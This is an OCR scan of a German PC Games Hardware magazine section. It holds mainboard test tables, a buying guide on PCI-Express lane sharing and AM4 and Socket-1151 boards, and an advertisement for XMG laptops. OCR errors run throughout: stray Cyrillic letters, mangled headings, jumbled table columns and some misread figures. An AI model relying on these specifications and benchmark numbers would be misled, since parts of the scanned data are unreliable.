Anheb- und absenkbar/einstellbar/nicht 
einstellbar 


Anheb- und absenkbar/einstellbar/nicht 
einstellbar 


Anheb- und absenkbar/einstellbar/nicht 
einstellbar 


Absenkbar/einstellbar/nicht einstellbar 


Vcore adaptiv/Offset nach oben/nach 
unten/Vdroop-Gegenmaßnahme 


Nein/ja/ja/ja, konfigurierbar. Nur Offset -0,2 
bis +0,2 Volt 


Nein/nein/nein/nein. Bereich: 0,9 bis 1,6 Volt 


Nein/ja/ja/nein. Nur Offset -0,3 bis +0,3 Volt 


Nein/ja/nein/nein. Nur Offset +0,0 bis +0,5 
Volt 


gaben mit Ryzen-R7-CPU (Summit Ridge). Funktionsumfang mit A-Serien-APUs (Bristol Ridge) ist reduziert. **Ab Sockel-Mitte. Nur Spannungswandlerkühlerteile >2,5 cm. ***Prime95 v25.6 + Witcher 2 Enhanced Edition maximierte Details, kein Ubersampling, Messung auf Platinenrück- 


seite, normiert auf 20 °C Umgebungstemperatur. ****ganzes System mit Ryzen 7 1800X und MSI GTX 980 an Seasonic-80-Plus-Gold-Netzteil. 


SoC-/IOH-Spannung 


Einstellbar/einstellbar 


Nicht einstellbar/nicht einstellbar 


Einstellbar/einstellbar 


Einstellbar/einstellbar 


Maximal wáhlbarer Speichertakt 


DDR4-3200 


DDR4-3200 


DDR4-3200 


DDR4-3200 


Maximale Speicherspannung 


1,80 Volt 


1,40 Volt 


2,00 Volt 


Nur Offset, max. +0,3 V 


Lüftersteuerung 


3-Punkt-Kurve konfigurierbar; CPU + weitere 
Lüfter; minimal 20% PWM 


4,5-Punkt-Kurve konfigurierbar; CPU + wei- 
{егег Lüfter; min. 0% PWM 


5-Punkt-Kurve konfigurierbar; CPU + weitere 
Lüfter; min. 0% PWM 


Kurvensteigung wählbar; CPU + weitere Lüf- 
ter; min. 0% PWM 


Virtualisierung SVM/IOMMU Aktivierbar/aktivierbar Aktivierbar/aktivierbar Aktivierbar/aktivierbar Aktivierbar/aktivierbar 

Stabilitáts- & Praxis-Probleme Keine Keine Überhitzte Spannungswandler führen zu Takt- |Mit einigen RAM-Modulen kein Boot móglich 
senkung in Lasttest 

Leistung (60 %) 3,41 3,46 3,59 3,62 

Realer Referenztakt (It. CPU-Z) 99,80 MHz 99,80 MHz 99,80 MHz 99,80 MHz 

Witcher 2 EE, 1080p, kein AA/AF 115,5 Fps 112,7 Fps 114,4 Fps 115,6 Fps 

Lightroom 5.6, Export 30 RAWs 125,8 Sekunden 121,3 Sekunden 125,3 Sekunden 121,3 Sekunden 

AIDA Memory Bench - Kopierrate 35.537 MB/s 35.523 MB/s 35.899 MB/s 36.055 MB/s 

Boot-Zeit Desktop Windows 8.1 31,2 Sekunden 33,7 Sekunden 31,0 Sekunden 59,0 Sekunden 

Temp. Spannungswandler1/2/10H* * * 79/54/51 *C 86/44/52 °C 92/53/50 °C 92/48/49 *C 


Stromverbr.**** Soft-Off/Leerl./Last*** 


FAZIT 
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1,6/48,1/357 Watt 


© Befriedigende Kühlung 
© Keine volle ATX-Breite 


@ Nur 3 Lüfteranschlüsse 


Wertung: 3,25 


1,5/48,1/346 Watt 


© Sehr günstig 
© Trotz HATX gut erweiterbar 
© Nur 2 PWM-Lüfteranschlüsse 


Wertung: 3,36 


1,5/55,7/348 Watt 


© Durchdachtes Layout 
© Sound und Lüftersteuerung vollwertig 
© Kühlung ungenügend 


Wertung: 3,39 


2,1/53,9/350 Watt 


© RGB-LED-Lüfter beiliegend 
© Sehr lange Bootzeit 
© Kühlung mangelhaft 


Wertung: 3,42 
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Mainboard-Kaufberatung 


as Mainboard hat keinen Ein- 

fluss mehr auf die Arbeits- 
geschwindigkeit eines PCs und 
ist deswegen unwichtig? Ersteres 
stimmt, aber die Schlussfolgerung 
ist grundlegend falsch. Genau ge- 
nommen steigt durch den fehlen- 
den Einfluss auf die Systemleistung 
nur die Palette an infrage kommen- 
den Mainboards, die Auswahl wird 
umso schwerer. Denn eins ist klar: 
Ein Mainboard wird weder nach 
kurzer Zeit ersetzt wie Grafikkar- 
ten, noch kann es ergänzt wer- 
den wie eine zu kleine SSD. Selbst 
Prozessor-“Fehlkäufe“ leisten dank 
nur langsam steigender Hardware- 
Anforderungen jahrelang gute 
Dienste - und die ganze Zeit über 
werden Einsatz- und Erweiterungs- 
möglichkeiten des Rechners vom 
Mainboard vorgegeben. 


Selbstfindung 

Den ewig perfekten Rechner gibt 
es aber nicht - nur mehr oder min- 
der optimal an die eigenen Ansprü- 
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che angepasste Konfigurationen. 
Vor dem Kauf muss man sich also 
genau überlegen, was für Laufwer- 
ke, Erweiterungskarten und On- 
board-Features man nutzen möchte 
- und welchen Prozessor man be- 
nötigt. Denn CPU und Mainboard 
bilden zusammen eine über den So- 
ckel definierte Plattform mit spezi- 
fischen Eigenschaften wie der ma- 
ximalen Anzahl von Rechenkernen, 
der Eignung für Multi-GPU-Betrieb 
oder der Freigabe für Übertaktung 
in verschiedenen Preisklassen. 
Abseits dieser Eckpunkte gibt es 
viele Entfaltungsmöglichkeiten für 
Mainboard-Designer, aber 
enge Grenzen durch die Ressour- 


auch 
cen der jeweiligen Plattform. 


Lane-Sharing 

Besonders kritisch sind meist PCI- 
Express(-3.0)-Lanes. 
hige Erweiterungsslots und auch 
moderne  High-End-Schnittstellen 
wie M.2 und U.2 für SSDs erfordern 
gleich mehrere dieser flotten Da- 


Leistungsfä- 


tenleitungen, weitere Anschlüsse 
können oder müssen daraus abge- 
leitet werden. Im Gegensatz zum 
PCI-Bus altertümlicher Chipsätze, 
den sich zahlreiche Geräte teilen 
konnten, bieten moderne I/O-Hubs 
(bei Intel PCH genannt) aber nur 
eine fixe Zahl von PCI-E-Links. 


Zwar gibt es PCI-Express-Switches, 
die Verbindungen von mehreren 
Endgeräten zusammmenfassen und 
ihrerseits nur einen PCI-E-Link zum 
restlichen System benötigen, diese 
sind für viele Mainboards aber zu 
teuer. Stattdessen wird meist güns- 
tiges PCI-Express-Lane-Sharing ge- 
nutzt. Bei dieser Teilungsmethode 
wird die Leiterbahn von CPU oder 
I/O-Hub über einen Splitter gelei- 
tet, der sie wahlweise mit einem 
von zwei Endgeräten (oder weite- 
ren Splittern) verbindet. CPU res- 
pektive I/O-Hub bauen dann eine 
ganz normale PCI-E-Verbindung 
auf, die im laufenden System nicht 
mehr geändert werden kann; die 


Verbindung am zweiten Ausgang 
des Splitters wird im Gegenzug 
deaktiviert. Aus mehreren Lanes 
zusammengesetzte PCI-E-Links ver- 
lieren dabei oft nur an Bandbreite; 
so kann zum Beispiel ein x16-Slot 
in zwei x8 geteilt werden, um 
Multi-GPU-Betrieb mit halber, aber 
ausreichend schneller Anbindung 
M.2-/U.2-Geräte 
werden jedoch meist zugunsten 
des Sharing-Partners komplett de- 
aktiviert - und x1-Links lassen sich 


zu realisieren. 


logischerweise gar nicht aufteilen. 


Ein Mainboard muss also nicht nur 
die gewünschten Schnittstellen 
bieten, sondern auch deren gleich- 
zeitige Nutzung erlauben. Gerade 
die Feature-Listen von Oberklasse- 
Mainboards enthalten oft Verspre- 
chen, die sich gegenseitig ausschlie- 
ßen. Aufklärung findet man tief in 
Handbüchern und Spezifikationen 
oder in ausführlichen Tests. PCGH- 
Testtabellen listen beispielsweise 
das PCI-Express-Routing getrennt 
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Die Hauptplatine trägt ihren Namen zu Recht, entsprechend viele Aspekte spielen bei ihrer 


Auswahl eine Rolle. Aber worauf genau sollte man eigentlich achten? 


für Erweiterungsslots, die via CPU 
respektive I/O-Hub versorgt wer- 
den, und weisen bei M.2- und U.2- 
Anschlüssen auf Lane-Sharing hin. 


vvanrsa е! 

Alle aktuellen Bedürfnisse zu be- 
friedigen, ohne für nicht benötigte 
oder aber nicht nutzbare Zusatz- 
funktionen zu bezahlen, ist eine 
Sache. Eine ganz andere sind künf- 
tige Ansprüche, denn wie erwähnt: 
CPU-Wechsel, die eine neue Platt- 
form erzwingen, sind immer selte- 
ner nötig. So setzen viele PCGH-Le- 
ser noch über ein halbes Jahrzehnt 
alte Sockel-1155- oder gar 1366-Sys- 
teme ein, für deren Austausch es 
vorerst nur einen Grund gibt: Das 
alte Mainboard wird den heutigen 
Anforderungen nicht mehr ge- 
recht. Entweder weil damals beim 
Kauf am falschen Ende gespart 
wurde oder weil sich die Gewohn- 
heiten des Nutzers geändert haben 
- oder schlicht weil Schnittstellen 
wie USB 3.1 und M.2 damals noch 
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gar nicht existierten. Für dieses 
Problem gibt es zwei Lösungansät- 
ze, die sich nicht zwingend gegen- 
seitig ausschließen. 


So kann man auf eine reichhalti- 
ge Ausstattung mit den neuesten 
Schnittstellen setzen und auf et- 
waige noch schnellere Nachfol- 
ger verzichten. Dank langsamer 
Entwicklungszyklen ist dies selten 
ein großer Verlust - das zwei Jah- 
re alte USB 3.1 beispielsweise ist 
weiterhin eine Randerscheinung; 
die meisten Nutzer eines drei Jah- 
re alten Sockel-1150-Mainboards 
werden eher zu wenige USB-3.0- 
Ports bemängeln denn fehlende 
USB-3.1-Geschwindigkeit. Werden 
viele Schnittstellen in kurzer Zeit 
eingeführt, ist es aber schwer, ihre 
künftige Bedeutung vorherzusa- 
gen. Vor einem Jahr waren zum Bei- 
spiel weder die Kämpfe zwischen 
PCI-E-Steckkarten-SSDs, M.2 und 
U.2 noch zwischen Thunderbolt 
3 und USB 3.1 entschieden. Heute 


zeichnen sich mehrere potenzielle 
1-GBit-LAN-Nachfolger ab. Reichen 
das verfügbare Budget oder die ver- 
fügbaren Ressourcen nicht aus, um 
alle Kandidaten abzudecken, ver- 
lässt man sich daher lieber auf die 
Erweiterbarkeit des PCs und berei- 
tet sich auf Nachrüstungen vor. 

Der таа 


In der Vergangenheit haben sich 
insbesondere PCI-Express-x4-Slots 
als nützlich erwiesen. Egal ob USB 
3.0 und SATA 3 für ein Sockel- 
775-System, M.2-SSDs im AM3+- 
Rechner oder Thunderbolt 3 für 
eine günstige Sockel-1151-Platine: 
Entsprechende Controller-Platinen 
sind (nur!) in diesem Format ver- 
fügbar und dieser Trend dürfte 
sich fortsetzen: Neue High-End- 
Entwicklungen benötigen 
schnelle Systemanbindung und es 
gibt auch in der aktuellen Main- 
board-Generation nichts Flotteres 
als PCI-Express-3.0-x4 - sieht man 
von den x8- und x16-Slots ab, die 


eine 


in Spiele-Rechnern aber mit Gra- 
fikkarten belegt sind. Aus diesem 
gleichen Grund sollte man übri- 
gens die Anbindung des x4-Slots 
auf Sharing überprüfen. Es nützt 
schließlich wenig, wenn man das 
alte System mit der neuesten USB- 
Generation nachrüsten kann, im 
Gegenzug aber die Grafikkarte, die 
möglicherweise schon unter einer 
veralteten PCI-Express-Generation 
leidet, auch noch einen Teil ihrer 
Lanes abgeben muss. 


Erst denken, dann kaufen 
Mainboards sind ebenso komplex wie 


Nutzeransprüche, glücklicherweise 
aber auch logisch. Wer seine eigenen 
Bedürfnisse kennt, hat gute Chancen, 
im riesigen Markt ein Modell zu fin- 
den, das diese exakt erfüllt. Auf den 
folgenden Seiten stellen wir die einzel- 
nen Plattformen vor und geben Emp- 
fehlungen für häufige Anforderungen. 
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AMD Ryzen: Sockel AM4 (Summit Ridge) 


ieses Frühjahr hat AMD die 

Teilung des eigenen Port- 
folios in die Sockel AM3(+) und 
FM2(+) beendet und beide durch 
den neuen AM4 ersetzt. Das Pro- 
zessor-Angebot besteht vorerst aus 
adaptierten FM2+-APUs  (Code- 
name Bristol Ridge), die mangels 
Rechenleistung für Spieler wenig 
interessant sind, und den neuen Ry- 
zen-CPUs (Summit Ridge) mit vier 
bis acht Kernen zu ansprechenden 
Preisen. Im Sommer 2017 werden 
weitere APUs (Raven Ridge) erwar- 
tet, die über bis zu vier CPU-Kerne 
mit der von Ryzen bekannten Zen- 


Architektur und eine aktuelle GCN- 
Grafikeinheit verfügen. Für 2018 
steht der Summit-Ridge-Nachfolger 
Pinnacle-Ridge auf dem Plan und 
auch darüber hinaus hat AMD noch 
einiges mit dem Sockel AMÁ vor. 


Mittel- bis Einsteigerklasse 
Weniger modern respektive üppig 
als die Prozessoren gibt sich die 
Plattform selbst. Zugunsten des 
Einsteigermarktes verzichtet man 
auf Ausstattungsextravaganzen wie 
bei Intels Zehnkerner-Unterbau 
Sockel 2011-v3; tatsáchlich reiht 
sich die Kombination aus Ryzen- 


SATA-Express-Laufwerke (hier: Gigabyte AX370-Gaming 5) sind nie erschienen, die 
SATA-Erweiterung eignet sich aber für USB-3.1-Front-Panels mit eigenem Controller. 


CPU und dem Promontory I/O- 
Hub-Topmodell X370 hinsichtlich 
der Anschluss- und Erweiterungs- 
möglichkeiten sogar hinter Intels 
Sockel-1151-Z270-Plattform ein, 
vor allem an PCI-Express-3.0-Lanes 
fehlt es. Der günstigere B350 liegt 
in etwa auf Augenhóhe mit Intels 
B250, eine detaillierte Marktüber- 
sicht finden Sie unmittelbar vor 
dieser allgemeinen Kaufberatung. 
Ebenfalls im B350-Test enthalten 
ist die vollstándige Testtabelle der 
X370-Marktübersicht aus der PCGH 
05/2017, zwei Empfehlungen wol- 
len wir hier näher beschreiben. 


Gigabyte AX370-Gaming 5: Bezahl- 
bare AM4-Oberklasse. Dual-LAN, 
viermal USB 3.1 und umfangrei- 
che  Beleuchtungsmóglichkeiten 
braucht nicht jeder, mit einer viel- 
seitigen Lüftersteuerung (Regelung 
nach bis acht Temperaturquellen, 
darunter zwei frei platzierbare ex- 
terne Sensoren) und aufwendigem 
Onboard-Sound bietet Gigabyte 
aber auch praxisrelevante Ober- 
klasse-Ausstattung für 220 Euro. 


Bei den Erweiterungsmöglichkei- 
ten spürt man die Limitationen 
der Plattform: Der U.2-Anschluss 
teilt sich seine vier PCI-E-3.0-Lanes 
mit dem einzigen M.2-Slot und der 
PCI-Express-2.0-x4-Slot läuft nicht 
mehr mit voller Geschwindigkeit, 
wenn zusätzlich einer der x1-Slots 
genutzt wird. 


Asrock X370 Killer SLI: Grundausstat- 
tung für 170 Euro. Auch Asrock kann 
fehlende Ressourcen nicht herbei- 
zaubern - die PCLE-2.0-Slots des 
X370 Killer SLI sind nur sharing- 
frei, weil ein x4-Slot komplett fehlt, 
und der zweite M.2-Slot mit seiner 
2.0-x2-Anbindung arbeitet kaum 
schneller als herkómmliches SATA. 
Dafür gibt es einen dritten M.2-Slot 
mit E-Kodierung für WLAN-Karten 
(nicht zu SSDs kompatibel) samt 
passender Antennen-Halterung an 
der I/O-Blende und auch 2x USB 
3.1 ist mit an Board - entgegen der 
Herstellerangaben, denen zu Folge 
die Platine nur über 3.0-Ports verfü- 
gen sollte (tatsächlich vorhanden: 
deren 6 hinten und 4 intern). 


Intel-Mainstream: Sockel 1151 (Skylake, 


Kaby Lake) 


pieler entscheiden sich derzeit 

meist für Intels LGA 1151. Vom 
günstigen Pentium (z. B. G4560) 
bis zum Core i7-7700K deckt die 
Plattform eine große Preis und 
Leistungsspanne ab, ebenso vielfäl- 
tig ist das Mainboard-Angebot. AL 
len gemeinsam ist die Anbindung 
von Grafikkarten über 16 PCLEx- 
press-3.0-Lanes direkt von der CPU, 
viele Z170- und Z270-Mainboards 
teilen diese optional auf zwei Slots 
mit je acht Datenleitungen auf. 


Ressourcen-Teilung 

Vereinzelt wird dieses Lane-Sha- 
ring auf drei Slots (x8/x4/x4) 
ausgeweitet. PCGH ràt aber von 
Grafikkarten-Anbindungen mit 
weniger als acht PCI-Express-3.0- 
Lanes ab, und wer einer einzelnen 
GPU die volle Datenrate gónnen 
móchte, verliert bei derartigen Lay- 
outs gleich zwei Slots (Verteilung 
x16/x0/x0). Achten Sie also auf die 
in unseren Testtabellen angegebe- 


66 


PC Games Hardware | 06/17 


nen Verteilungsoptionen, denn me- 
chanisch werden diese Steckplät- 
ze im x16-Format ausgeführt (zu 
x1-/x4-/x8-Karten abwärtskompati- 
bel) und entsprechend beworben. 


Auch die Ressourcen des PCHs 
werden oft geteilt, trotz reichhal- 
tiger Ausstattung bei der Sockel- 
1151-Plattform: Z270 und 7170 
stellen bis zu 24 (typisch 18) re- 
spektive 20 (14) PCI-E-3.0-Lanes 
bereit, H270 und H170 stehen ih- 
nen kaum nach und auch der B250 
(typisch 12) kann mithalten. Diese 
PCI-Express-Lanes werden feiner 
verteilt, da die DMI-Verbindung des 
PCHs zur CPU ohnehin einen Fla- 
schenhals darstellt, über den maxi- 
mal x4-Geräte sinnvoll angebunden 
werden können. Davon gibt es mit 
Thunderbolt-3-Controllern (für 
schnelle Peripherie), NVME-M.2- 
-U.2-SSDs (Mini-Steckkarten 
respektive 2,5-Zoll-Laufwerke) aber 
gleich drei Kandidaten am Markt, 


und 


mit 10-GBit/s-LAN steht ein vierter 
Anwärter bereit und auch USB-3.1- 
Controller verlangen ihr Stück vom 
Kuchen (meist x2). Auf Mainboards 
mit gehobener Ausstattung (für die 
jeweilige PCH-Klasse) kann des- 
wegen regelmäßig nur ein Teil der 
Möglichkeiten gleichzeitig genutzt 
werden - auch hier verschafft die 
Testtabelle Klarheit (M.2 und PCH- 
Lane-Verteilung). 


Zukunftssicher? 
Die potenzielle Lebenserwar- 
tung aktueller High-End-Sockel- 


1151-Systeme ist hoch. So sind die 
Vorvorvorvorgänger-CPUs der San- 
dy-Bridge-Generation noch immer 
weit verbreitet und ihre aktuellen 
Urahnen könnten ähnlich lange 
Nutzungszeiten erreichen. Zusätz- 
lich werden für den Sockel 1151 
weitere Aufrüstoptionen erwartet. 
Unter den Codenamen Cannonlake 
und Coffee Lake soll Intel an neuen 
Prozessoren mit gesteigerter Effi- 


zienz respektive zwei zusätzlichen 
Kernen (insgesamt sechs) arbeiten. 
Beide Baureihen werden mit hoher 
Wahrscheinlichkeit 2018 für einen 
unveränderten Sockel 1151 erschei- 
nen. Die Kompatibilität zu heuti- 
gen Mainboards ist aber unklar, 
denn Intels Firmware kann CPU- 
PCH-Kombinationen funktional 
einschränken oder ganz sperren. 


Aktuell verhindert diese Technik 
die Nutzung von Übertaktungs- 
optionen der „K“-SKUs (beispiels- 
weise i7-7700K, i5-7600K) auf 
Mainboards ohne Z170-/7270-PCH 
und sie trennt die Desktop- von 
der Workstation-Baureihe. So lau- 
fen Sockel1151-Xeons nicht auf 
den Desktop-PCs und die Desktop- 
CPUs umgekehrt nicht auf Worksta- 
tion-Mainboards mit C232-PCH, ob- 
wohl es sich jeweils um technisch 
identische Chips handelt. In der 
Sockel-1150-Vorgängergeneration 
nutzte Intel die gleiche Technik, 
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sämtliche Treiber installiert (PC ist sofort einsatzbereit). **Verringerte Leistung im Akkubetrieb 


ANZEIGE 


PUGH-Laptops 


VON XMG 


ie Marke XMG bietet optimale Konfigurationsmöglichkeiten, 
D... es darum geht, einen Gaming-Laptop zusammenzustel- 
len. Die XMG-PCGH-Laptops gibt es zum tollen Vorteilspreis. Wenn 
Ihnen die ОгбВе der SSD, der Festplatte oder des Arbeitsspeichers 
nicht zusagt, kónnen Sie diese Komponenten einfach über den Lap- 


top-Konfigurator àndern. Inzwischen stehen vier PCGH-Laptops zur 
Auswahl. Als Desktop-Replacement mit kompromissloser Leistung 
ist das U727 dank Geforce GTX 1080 die richtige Wahl. Wer es gerne 
etwas mobiler mag, greift zum P707 mit GTX 1070, zum P507 mit 
GTX 1060 oder zum A707 mit einer Geforce GTX 1050 Ti. 


(dw) 


Hardware 


Offizielles POGH-Produkt 


Hersteller/Bezugsquelle 


XMG A707 
PCGH- 
Schenker (www.pcgh.de/xmg3) 


XMG P507 
PCGH-Edition V2 
Schenker (www.pcgh.de/xmg1) 


XMG P707 
PCGH-Edition V3 
Schenker (www.pcgh.de/xmg2) 


XMG U727 
PCGH-Edition 
Schenker (www.pcgh.de/xmg4) 


Erweiterte Informationen 


www.pcgh.de/a707 


www.pcgh.de/p507 


www.pcgh.de/p707 


www.pcgh.de/u727 


(1.920 x 1.080 Pixel) 


(1.920 x 1.080 Pixel, G-Sync) 


Ausstattung 
Prozessor Intel Core i5-7300HQ Intel Core i7-7700HQ Intel Core i7-7700HQ Intel Core i7-7700 

(2,5 bis 3,5 GHz, 4 Kerne/4 Threads) (2,8 bis 3,8 GHz, 4 Kerne/8 Threads) (2,8 bis 3,8 GHz, 4 Kerne/8 Threads) (8,6 bis 4,2 GHz, 4 Kerne/8 Threads) 
Grafikeinheit Nvidia Geforce GTX 1050 Ti (4 GB) Nvidia Geforce GTX 1060 (6 GB) Nvidia Geforce GTX 1070 (8 GB) Nvidia Geforce GTX 1080 (8 GB) 
LCD 17,3 Zoll Full HD Non-Glare IPS 15,6 Zoll Full HD Non-Glare IPS 17,3 Zoll Full HD Non-Glare IPS 17,3 Zoll Full HD Non-Glare IPS 


(1.920 x 1.080 Pixel, G-Sync) 


(1.920 x 1.080 Pixel, G-Sync) 


SSD-Laufwerk (M.2) 250 GByte (Samsung 850 Evo, M.2) 250 GByte (Samsung 960 Evo, NVMe) 500 GByte (Samsung 960 Evo, NVMe) 500 GByte (Samsung 960 Evo, NVMe) 
HDD-Laufwerk 1.000 GByte (Seagate, 5.400 U/min) 1.000 GByte (Seagate, 5.400 U/min) 2.000 GByte (Seagate, 5.400 U/min) 2.000 GByte (Seagate, 5.400 U/min) 
Optisches Laufwerk - 

Speicher 8 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 
Akku/Gewicht 60 Wattstunden/2,85 kg 60 Wattstunden/2,92 kg 60 Wattstunden/3,36 kg 89 Wattstunden/4,8 kg 


Kommunikation 


GBit-Lan (RJ-45), WLAN 802.11ac, Bluetooth 
4.2, 6-in-1-Kartenleser, 2.0 MP-Webcam, 


GBit-Lan (RJ-45), WLAN 802.1 1ac, Bluetooth 
4.2, 6-in-1-Kartenleser, HD-Webcam, 


GBit-Lan (RJ-45), WLAN 802.11ac, Bluetooth 
4.2, 6-in-1-Kartenleser, HD-Webcam, 


2 x GBit-Lan (RJ-45), WLAN 802.11ac, 
Bluetooth 4.2, 6-in-1-Kartenleser, 


2.0, HDMI, 2 x Mini-Displayport, 2 x Klinke 
(1 x Kopfhórer, 1 x Mikrofon in) 


Mini-Displayport, 3 x Klinke (1 x Kopfhürer, 
1 x Mikrofon in, 1 x S/PDIF) 


Fingerprint Fingerprint Fingerprint 2.0 MP-Webcam, Fingerprint 
Sound Sound Blaster Cinema 3 Sound Blaster X-Fi 5 Sound Blaster X-Fi 5 Sound Blaster X-Fi 5 
Anschlüsse 2 x USB 3.0, 1 x USB 3.1 (Тур С), 1x USB. | 3xUSB 3.0, 2 x USB 3.1 (Typ C), HDMI, 2х | 3 x USB 3.0, 2 x USB 3.1 (Typ С), HDMI, 2 x |5 x USB 3.0, 2 x USB 3.1/Thunderbolt (Typ C), 


Mini-Displayport, 3 x Klinke (1 x Kopfhürer, 
1 x Mikrofon in, 1 x S/PDIF) 


HDMI, 2 x Mini-Displayport, 4 x Klinke 
(и. a. 1 x Kopfhórer--S/PDIF, 1 x Mikrofon in) 


Abmessungen (B x T x H) 


418,5 x 284 x 27,4 mm 


385 x 271 x 25 mm 


417x287 x 30 mm 


428 x 308 x 47,2 mm 


Lautstárke 2D (0,5 m) 0,4 Sone/23 dB(A) 0,4 Sone/24 dB(A) 0,5 Sone/25 dB(A) ,0 Sone/30 dB(A) 
Lautstárke 3D (0,5 m) 4,1 Sone/45 dB(A) 2,2 Sone/37 dB(A) 4,4 Sone/46 dB(A) 4,6 Sone/46 dB(A) 
Leistungsaufnahme 2D/3D 23 Watt/108 Watt 20 Watt/107 Watt 26 Watt/153 Watt 38 Watt/279 Watt 

3D Mark (Fire Strike) 1.816 (U), 3.408 (E), 6.250 (S) 2.646 (U), 5.091 (E), 9.453 (S) 4.029 (U), 7.344 (E), 12.713 (S) 5.152 (U), 9.567 (E), 17.064 (S) 
Crysis 3/The Witcher 3 34 Fps/25 Fps N. v./37 Fps N. v./58 Fps 86 Fps/77 Fps 


Stalker: Call of Pripyat 


88 Fps (Sun Shafts, Ultra, 4x AA) 


122 Fps (Sun Shafts, Ultra, 4x AA) 


142 Fps (Sun Shafts, Ultra, 4x AA) 


200 Fps (Sun Shafts, Ultra, 4x AA) 


Aliens vs Predator Bench. 


98 Fps (1.920 x 1.080) 


155 Fps (1.920 x 1.080) 


223 Fps (1.920 x 1.080) 


278 Fps (1.920 x 1.080) 


mit 64-Bit-Betriebssystem* 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


Cinebench R11.5 x64 (CPU) 5,91 Punkte 8,21 Punkte 8,21 Punkte 9,49 Punkte 
Akkulaufzeit 2D 364 Minuten (6:04 Stunden) 332 Minuten (5:32 Stunden) 280 Minuten (4:40 Stunden) 215 Minuten (3:35 Stunden) 
PREIS a £ Р 2 
Mc m €1.179, € 1.679, €2.379, € 3.279, 
PREIS €1.299,- €1.799,- €2.499,- €3.399,- 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


© i5-Quadcore-CPU 
© Displaydeckel aus Metall 
© Betriebsgeräusch unter 3D 


© 3D-Performance der GTX 1060 
© Lange Akkulaufzeit 
© Hohes Gewicht 


© Sehr schnelle GTX 1070 und G-Sync 
© Neuer i7-7700HQ, 512-GB-M.2-SSD 
© Hórbare Lüfter im 3D-Betrieb 


© Desktop-CPU, GTX 1080 und G-Sync 
© 2 x Thunderbolt 3/USB 3.1 (Typ C) 
© Hohes Gewicht 


INFRASTRUKTUR | Mainboard-Kaufberatung 


um den Betrieb von Prozessoren 
der dritten Generation mit PCHs 
der ersten Generation (Z87, H87) 
zu verhindern. Moglicherweise 
droht Z170, H170 und B150 in Be- 
zug auf Coffee- und Cannonlake 
das gleiche Schicksal. Hier und 
jetzt sind die Mainboards aus der 
Skylake-Generation aber 
geschränkt zu den neueren Kaby- 
Lake-CPUs kompatibel (und umge- 
kehrt). Schlimmstenfalls muss man 
vom Hàndler das Aufspielen eines 
aktuellen UEFI verlangen, wenn die 


unein- 


Platine zu lange im Regal lag. 


Asus Maximus VIII Ranger: Immer 
noch interessant. Eine unserer Emp- 
fehlungen spiegelt diese Kompati- 
bilität wider. Asus’ letztes Ranger 
verfügt „пиг“ über den alten Z170- 
PCH, nutzt dessen Ressourcen aber 
optimal und ohne verwirrendes 
Sharing: x4-Slot, M.2-Steckplatz, 
USB-3.1-Controller, zahlreiche USB- 
Anschlüsse (sowohl hinten als auch 
in Header-Form für Front-Panels) 
und ein durchdachtes Layout sind 
für 190 Euro weiterhin einen Blick 
wert. Dazu gibt es eine praktische 
Onboard-Diagnose-Anzeige und 
-Temperaturfühler-Anschlüsse. 


MSI Z270 Gaming Pro Carbon: Neu 
und bezahlbar. Eine Klasse tiefer 
und eine Generation jünger ist 
die Alternativempfehlung ähnlich 
teuer, verzichtet aber auf spezielle 
Onboard-Features für Tweaker und 
Bastler. Dafür gibt es einen zwei- 
ten M.2-Slot, mehr USB-3.0-Ports 
am I/O-Panel und effektvolle RGB- 
Beleuchtungsmóglichkeiten. Das 
Layout opfert einen x1-Slot an Gra- 


fikkartenkühler, im Gegenzug fallt 
der Stromverbrauch etwas geringer 
aus als bei Asus und dank Z270-PCH 
stehen die Chancen für zukünftige 
Aufrüstungen besser. Präferenzen 
muss bei diesem Gleichstand jeder 
Kaufinteressierte selbst setzen. 


Asrock Z170 Gaming K4: High-End- 
PCH in der Restekiste. Eine Preis- 
klasse tiefer tobt ein harter Kampf 
zwischen neuen, mittlerweile ange- 
messen eingepreisten Mainboards 
mit B250-PCH und dem Abverkauf 
alter Z170-Modelle. Zu Ersteren 
planen wir in der kommenden 
PCGH eine Marktübersicht, noch 
sind Letztere aber die attraktivere 
Wahl: Der Z170 bietet etwas mehr 
PCI-Express-Ressourcen und er ist 
für Übertaktung freigegeben. As- 
rocks 7170 Gaming K4 verzichtet 
darüber hinaus auf alle Extras, hier 
gibt es nicht einmal USB 3.1 oder 
eine Multi-GPU-Option. Dafür aber 
auch keinerlei Lane-Sharing und 
eine CPU-Stromversorgung und 
Onboard-Sound auf dem Niveau 
teurerer Platinen - und das für ge- 
rade einmal 120 Euro. 


Asrock B150M Pro4S: Von allem das 
Nótigste. Noch einmal 50 Euro 
günstiger, entsprechend puristisch 
(und übertaktungsuntauglich) sind 
B150-Mainboards. Wir empfehlen 
das Asrock B150M Pro4S, da es sich 
dank x4-Slot mit M.2 oder anderen 
Schnittstellen nachrüsten 
AMDs 
wird das Einsteigersegment aber 
ordentlich durcheinanderwirbeln, 
sodass Abwarten im Moment die 
beste Entscheidung ist. 


lässt. 
Ryzen-5-Markteinführung 


Eine frei regelbare Beleuchtung ist zwar für viele Spiele verzichtbar — aber dennoch 
ein typisches Merkmal von , Gaming" -Mainboards. 
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SOCKEL-1151- 
MAINBOARDS 


Auszug aus der Testtabelle 
mit 
160 Wertungskriterien. 


Proukt 
Hersteller (Website) 


Maximus VIII Ran 
Asus (www.asus.de) 


Z270 Gaming Pro Carbon 


MSI (www.msi.com) 


Preis/Preis-Leistungs-Verhàltnis 


Chip; UEFI-; Board-Revision 


Ca. € 190,-/gut 


Ca. € 180,-/gut 


Link zum PCGH-Preisvergleich www.pcgh.de/preis/1306336 


www.pcgh.de/preis/1557471 


** Ab Sockel-Mitte; 


Intel Z170; 0801; 1.01 


Intel 7270; 1.23; 1.0 


ATX; 305 x 244 mm 


Gehäuse-Format; Höhe x Breite 


ATX; 305 x 244 mm 


Speicherslots 


4x DDR4 


4x DDR4 


PCI-E-Standard* 


3.0/3.0/-/3.0/3.0/3.0/3.0 


-/3.0/3.0/3.0/3.0/3.0/3.0 


PCI-E-CPU-Lane-Verteilungs- 
optionen* 


-/x16/-/-/x0/-/- oder —/х8/— 
I-Ix81-1- 


-[x16/-1-/x0/-/— oder -/x8/-/- 
Ix81-/- 


PCI-E-PCH-Lane-Verteilungs- 
optionen* 


x1/-I-Ix1-/x1/x4 


